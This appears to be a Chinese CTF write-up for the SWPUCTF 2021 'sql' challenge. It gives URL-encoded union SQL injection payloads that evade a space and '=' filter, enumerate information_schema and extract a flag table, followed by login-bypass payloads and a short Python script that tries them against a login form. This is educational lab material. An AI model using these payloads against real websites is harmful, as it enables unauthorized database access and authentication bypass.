[SWPUCTF 2021 新生赛]sql

文章展示了SQL注入的常见手法,通过使用特殊字符如`/**/`替换空格,`LIKE`操作符代替`=`,以及从`information_schema`获取数据库表名和列名,最终获取到`test_db.LTLT_flag`表中的`flag`数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 /?wllm=1%27/**/order/**/by/**/3%23

 

/**/是空格的一个格式,发现一共有三列

然后测试了一下,=号果不其然也被略过,like可以顶替等于号

  

?wllm=-1%27union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/%27test_db%27%23 

 ?wllm=-1%27union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/%27LTLT_flag%27%23

?wllm=-1%27union/**/select/**/1,2,(select/**/flag/**/from/**/test_db.LTLT_flag/**/limit/**/0,1)%23

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23 

### 关于 SWPUCTF 2021 新生 easy_sql 的解题思路 SQL 注入是一种常见的安全漏洞,攻击者通过向应用程序输入恶意 SQL 查询来获取敏感数据或执行未经授权的操作。对于 SWPUCTF 2021 新生中的 `easy_sql` 题目,其核心在于利用 SQL 注入技术绕过登录验证机制并访问隐藏的数据。 #### 登录绕过的常见方法 通常情况下,题目会提供一个简单的登录表单,其中用户名和密码会被拼接到一条 SQL 查询语句中。如果未对用户输入进行适当过滤,则可以注入逻辑条件使查询始终返回真值。例如: 假设原始查询如下: ```sql SELECT * FROM users WHERE username='input_username' AND password='input_password'; ``` 可以通过提交以下 payload 实现绕过: ```plaintext admin' -- - ``` 这会使最终的 SQL 查询变为: ```sql SELECT * FROM users WHERE username='admin' -- -' AND password='input_password'; ``` 由于双连字符 (`--`) 表示注释掉后续部分,因此无论实际密码为何,此查询都会尝试匹配名为 `admin` 的账户[^1]。 #### 提取 flag 数据库字段名猜测 除了基本的身份认证旁路外,在某些场景下还需要进一步探索数据库结构以定位存储标志位的具体位置。此时可采用联合查询 (UNION SELECT) 或错误基注入等方式枚举列数以及对应的表/列名称。 比如当得知存在额外的秘密信息时,可能需要试验不同的组合直到成功检索到目标记录为止。下面给出了一种通用形式用于演示如何附加其他参数至原请求之中从而揭示更多细节: ```sql 1 UNION ALL SELECT null,table_name FROM information_schema.tables-- ``` 以上仅作为理论指导框架,请依据具体环境调整相应策略完成挑战任务。 ```python import requests url = "http://example.com/login" payloads = ["admin' -- -", "' OR '1'='1"] for p in payloads: response = requests.post(url, data={'username':p,'password':'irrelevant'}) if "Welcome" in response.text: print(f"[+] Login bypassed with payload: {p}") break ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值